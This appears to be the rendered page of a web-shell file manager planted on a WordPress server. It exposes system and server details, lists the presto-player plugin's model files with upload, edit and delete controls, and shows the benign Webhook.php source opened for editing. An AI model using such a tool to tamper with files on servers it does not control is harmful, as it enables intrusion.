[ SYSTEM ]: Linux wordpress 6.1.0-44-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.164-1 (2026-03-09) x86_64
[ SERVER ]: Apache/2.4.66 (Debian) | PHP: 8.2.30
[ USER ]: www-data | IP: 172.19.30.54
GEFORCE FILE MANAGER
/
var
/
www
/
html
/
wordpress
/
wp-content
/
plugins
/
presto-player
/
inc
/
Models
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📄 AudioPreset.php
4,104 B
SET
[ EDIT ]
|
[ DEL ]
📄 Block.php
582 B
SET
[ EDIT ]
|
[ DEL ]
📄 CurrentUser.php
561 B
SET
[ EDIT ]
|
[ DEL ]
📄 EmailCollection.php
1,677 B
SET
[ EDIT ]
|
[ DEL ]
📄 Model.php
19,674 B
SET
[ EDIT ]
|
[ DEL ]
📄 ModelInterface.php
2,107 B
SET
[ EDIT ]
|
[ DEL ]
📄 Player.php
1,726 B
SET
[ EDIT ]
|
[ DEL ]
📄 Post.php
3,042 B
SET
[ EDIT ]
|
[ DEL ]
📄 Preset.php
4,900 B
SET
[ EDIT ]
|
[ DEL ]
📄 ReusableVideo.php
7,923 B
SET
[ EDIT ]
|
[ DEL ]
📄 Setting.php
2,252 B
SET
[ EDIT ]
|
[ DEL ]
📄 Video.php
5,325 B
SET
[ EDIT ]
|
[ DEL ]
📄 Webhook.php
1,749 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: Webhook.php
<?php namespace PrestoPlayer\Models; class Webhook extends Model { /** * Table used to access db * * @var string */ protected $table = 'presto_player_webhooks'; /** * Model Schema * * @var array */ public function schema() { return array( 'id' => array( 'type' => 'integer', ), 'name' => array( 'type' => 'string', 'sanitize_callback' => 'wp_kses_post', ), 'url' => array( 'type' => 'string', 'sanitize_callback' => 'sanitize_url', ), 'method' => array( 'type' => 'string', 'sanitize_callback' => 'sanitize_text_field', ), 'email_name' => array( 'type' => 'string', 'sanitize_callback' => 'sanitize_text_field', ), 'headers' => array( 'type' => 'array', ), 'created_by' => array( 'type' => 'integer', 'default' => get_current_user_id(), ), 'created_at' => array( 'type' => 'string', ), 'updated_at' => array( 'type' => 'string', 'default' => current_time( 'mysql' ), ), 'deleted_at' => array( 'type' => 'string', ), ); } /** * These attributes are queryable * * @var array */ protected $queryable = array( 'name' ); /** * Create a preset in the db * * @param array $args * @return integer */ public function create( $args = array() ) { // name is required if ( empty( $args['name'] ) ) { return new \WP_Error( 'missing_parameter', __( 'You must enter a name for the webhook.', 'presto-player' ) ); } // generate slug on the fly $args['name'] = ! empty( $args['name'] ) ? $args['name'] : sanitize_title( $args['name'] ); // create return parent::create( $args ); } }